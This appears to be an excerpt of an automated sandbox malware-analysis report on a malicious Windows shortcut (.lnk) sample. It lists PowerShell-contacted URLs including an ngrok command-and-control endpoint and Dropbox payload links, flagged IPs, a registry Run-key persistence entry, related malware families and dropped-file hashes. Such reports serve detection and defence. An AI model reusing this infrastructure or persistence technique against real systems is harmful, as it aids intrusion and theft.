https://www.dropbox.com/page_success/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000003.00000002.1567473604.000001FB1DDA7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com	powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd-UseBasicPars	powershell.exe, 00000003.00000002.1606620323.000001FB353C1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567213388.000001FB1B3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1566337339.000001FB1B120000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567407242.000001FB1CD30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1566337339.000001FB1B20F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/pithos/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://piriform.com/go/app_cc_privacy_policy	ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.00000000045C1000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmp	false		high
https://msn.com/	msedge.exe, 00000006.00000002.1527244445.00001448003AC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.dropbox.com/	powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com/cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa3	powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.69.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.161.43.18	unknown	United States	53755	IOFLOODUS	true
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
3.125.102.39	23glcrtmzxqgwfpq3oujitt.ngrok.pizza	United States	16509	AMAZON-02US	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
162.125.1.20	unknown	United States	19679	DROPBOXUS	false
162.125.4.18	unknown	United States	19679	DROPBOXUS	false
44.217.190.26	unknown	United States	14618	AMAZON-AESUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578256
Start date and time:	2024-12-19 13:43:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CNUXJvLcgw.lnk renamed because original name is a hash value
Original Sample Name:	cafffe9031f22c7bc030a5d9876112308f4aad44d4547f1801db261fcbb4c404.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@78/287@21/13
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.16, 204.79.197.239, 13.107.21.239, 172.217.17.78, 13.107.6.158, 23.32.239.18, 23.32.239.56, 104.16.99.29, 104.16.100.29, 2.16.158.73, 2.16.158.83, 2.16.158.74, 2.16.158.90, 2.16.158.75, 2.16.158.88, 2.16.158.82, 2.16.158.96, 2.16.158.89, 217.20.58.100, 23.218.208.109, 2.19.198.8, 2.19.198.26, 199.232.210.172, 23.32.239.51, 23.32.239.26, 23.32.239.75, 23.32.239.8, 20.189.173.21, 142.251.40.131, 142.250.65.195, 142.251.40.195, 13.107.246.63, 94.245.104.56, 172.202.163.200, 23.57.90.154, 13.107.246.40, 23.198.214.137, 20.190.147.12
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, edgeassetservice.afd.azureedge.net, cfl.dropboxstatic.com.cdn.cloudflare.net, fs-wildcard.microsoft.com.edgekey.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, www.gstatic.com, l-0007.l-msedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, blobcollector.events.data.trafficmanager.net, edgeassetservice.azureedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, a1847.dscd.akamai.net, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, time.windows.com, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, www.bing.com.edgeke
Execution Graph export aborted for target ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, PID 5696 because there are no executed function
Execution Graph export aborted for target ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, PID 7936 because there are no executed function
Execution Graph export aborted for target fontdrvhost.exe, PID 8172 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7560 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9024 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:44:16	API Interceptor	217x Sleep call for process: powershell.exe modified
07:44:28	API Interceptor	2x Sleep call for process: svchost.exe modified
09:21:45	API Interceptor	1x Sleep call for process: WerFault.exe modified
15:21:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Nuinsa C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe
15:21:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Nuinsa C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.125.69.18	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	Garsdgwqa13de.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse
	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse
162.125.69.15	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	File di reclamo per violazione del copyright File di reclamo per violazione del copyright.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	tasktow.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.61.3
	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	HI6VIJERUn.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	162.159.61.3
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
fg.microsoft.map.fastly.net	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	199.232.210.172
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	199.232.210.172
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.8.182.26
	StGx54oFh6.exe	Get hash	malicious	Quasar	Browse	104.21.78.102
	https://nicholaspackaging.businesslawcloud.com/mTlFM	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	fAatfRnCZ5.exe	Get hash	malicious	Unknown	Browse	104.21.21.198
	1AqzGcCKey.exe	Get hash	malicious	Quasar	Browse	104.21.78.102
	http://efaktura.dhlecommerce.pl	Get hash	malicious	Unknown	Browse	104.18.86.42
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.179.109
	WTvNL75dCr.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	WTvNL75dCr.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	https://github.com/starise/win11-virtual-desktop-extension/releases/download/1.1.0/VirtualDesktopExtension-1.1.0.msi	Get hash	malicious	Unknown	Browse	1.1.1.1
DROPBOXUS	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	162.125.21.1
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	162.125.113.170
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	Garsdgwqa13de.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse	162.125.69.15
	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	mjjt5kTb4o.lnk	Get hash	malicious	Unknown	Browse	162.125.65.18
DROPBOXUS	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	162.125.21.1
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	162.125.113.170
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	Garsdgwqa13de.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse	162.125.69.15
	hngarm13de02.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	mjjt5kTb4o.lnk	Get hash	malicious	Unknown	Browse	162.125.65.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	g1.ps1	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	Scam_Transaction_of_7350_BDT.pdf.lnk.d.lnk	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	LbtytfWpvx.vbs	Get hash	malicious	Remcos	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	raEyjKggAf.ps1	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	gCXzb0K8Ci.ps1	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	H2PspQWoHE.ps1	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	0iTxQouy7k.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	H6epOhxoPY.ps1	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15
	KcKtHBkskI.ps1	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.69.18 162.125.69.15

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.729015652256537
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqw:2JIB/wUKUKQncEmYRTwh0P/
MD5:	234F8E65DA3BC5DB5049B12A3B016B9D
SHA1:	0C8B5B2FF3B051C4638E4F97841CD00CB3587AD9
SHA-256:	04899C6D20387024744720F1E906699C67C96CB005F7AD0442ADF3C93A29394A
SHA-512:	04BFDC4E6C706BB7254C5A90ECA5A8471FACDB1A81A55FF0C0D6902A42C04ACB299520067AE29900E25F262C9EC59CE3EF37B01CD5BFB52B690D95DE3A1AB5D9
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0082ee7c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900317478295457
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	37CC721D7717D12A78BB0A99EA2851B5
SHA1:	5DB0DA84C7CF13897DB9F6A7D2F814B5C250BD55
SHA-256:	FC91499292E303EFA8228FB6BCAC76A8A0488B9D48D9CA30541789CB19332307
SHA-512:	E9B6C116B2B6D98796592D627A9788B1FFC40D4F23FC0C2215FD1CB0DF52E656C718216288FDA80446058BCB0A8A6213B9FD7A6A12BDFB4E5907450D2F5DC506
Malicious:	false
Preview:	...\|... ...............X\...;...{......................0.`.....42...{5..,...\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................]..,...\|!....................,...\|!..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08262110543739457
Encrypted:	false
SSDEEP:	3:BXEYeO2s1t/57Dek3Jg2ul/ollEqW3l/TjzzQ/t:BXEz6HR3tgPAmd8/
MD5:	D003B1DFD64654B4AB425D46E2B3B6C0
SHA1:	A61BADEF7B7047B2BF677DAA9DA417ED8369A9A2
SHA-256:	90F59CB93BB6249FEC0F4EA0207DD898E265D8059652ECBB685E0183BF446AC0
SHA-512:	3ECB12C70DDE9C9DE094960FE090FEB0EBDA0F6A30F761E27D4EC2003A1E1666479183E506134CB0799B7259D46B39D8A50DDA296D71F45CEF7796C8C537A26C
Malicious:	false
Preview:	........................................;...{...,...\|!.42...{5.........42...{5.42...{5...Y.42...{59...................,...\|!.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_af1411e0-60b7-4355-9705-3d59f33d50eb\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.660144729333072
Encrypted:	false
SSDEEP:	96:e/FBw3e4qigKJIs3Wrk41yHpHS2QXIDcQkc6tcEycw3ZUtzJzQ+HbHgrZ2ZAX/d2:c0/HnIxR0apYKjqzuiFJZ24lO8JO
MD5:	4C64AEBB50A4008C38780F8B99720F72
SHA1:	2456C1EDC14ED54DBC0A63968384822B52892597
SHA-256:	D219A54CA93EE680158A080090C8470A6C1BAA631FBBA2A5AA79DA8353BDDDB1
SHA-512:	E6B3C473B6C7E5F78EB50371A7AC3B05D0D8D68186CE9CD760BCAE31BCB9CD2D03E8A55658BD76B074AC3D1139DB50C1A926A133A434F2A88F7803965ED0E4F6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.0.9.1.6.7.7.4.7.1.4.3.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.0.9.1.6.7.8.0.2.6.6.2.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.f.1.4.1.1.e.0.-.6.0.b.7.-.4.3.5.5.-.9.7.0.5.-.3.d.5.9.f.3.3.d.5.0.e.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.b.5.d.5.b.5.0.-.7.3.4.4.-.4.5.1.a.-.8.2.1.4.-.5.7.a.1.2.2.7.d.e.1.c.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.e.4.-.0.0.0.1.-.0.0.1.4.-.2.4.6.b.-.9.6.4.2.2.1.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.e.f.b.3.f.9.7.3.4.2.b.a.1.9.5.4.2.4.1.3.4.f.2.8.f.9.7.7.d.a.9.e.0.d.6.a.a.9.1.!.f.o.n.t.d.r.v.h.o.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD710.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 19 14:21:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47662
Entropy (8bit):	1.2865802865008042
Encrypted:	false
SSDEEP:	96:568Jdws8OmR77SyBu7i7oqhq+Nqm2hm4QaChZmwFs68gtZlWIKK2Io0r:HroOVO/s+Ibhm4amwFs6tZyB+
MD5:	FE875BDA5BDEC7407D97A884A66E05F0
SHA1:	CBFB540D608FD536FB011BF756D2CB03C7DE0B1C
SHA-256:	7FEC1F2B4A7C70E9070B2A222C5B2C74A9617A6C0C1CD04FB8816C24C0B3FA5B
SHA-512:	6D161A179DE3EFF148E0D676639E4F79403C3931F1722439B56B055725689D90A67CFE7C16039901276A3F147265FBC953CEEDD8930374EF35F891DA6438EF7E
Malicious:	false
Preview:	MDMP..a..... ........+dg....................................$...2!..........T.......8...........T...............~.......................................................................................................eJ..............Lw......................T............+dg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD7BD.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8624
Entropy (8bit):	3.690022246901038
Encrypted:	false
SSDEEP:	192:R6l7wVeJCgsI6Yt+NGogmfr57vYpDP89bt6uf0TPm:R6lXJdz6YkNGogmfrFv1tDff
MD5:	CAB1AF660980449257D698973E5261CD
SHA1:	36F1A5F5D84902A9832EA073000597D53CE6FAF0
SHA-256:	A97C693BE4E6850E1B320FF6DC3935007421061E56842955ABFC6D37BFF30759
SHA-512:	C1A9C04B9CC2BA49899300F4C49E312E2D36E70451EB1C8C0E87503CA1DBD7D3B691B1773A308D5529422FF0578DB89A3D2FF63B35C2A0029C9755143FE7CF79
Malicious:	false
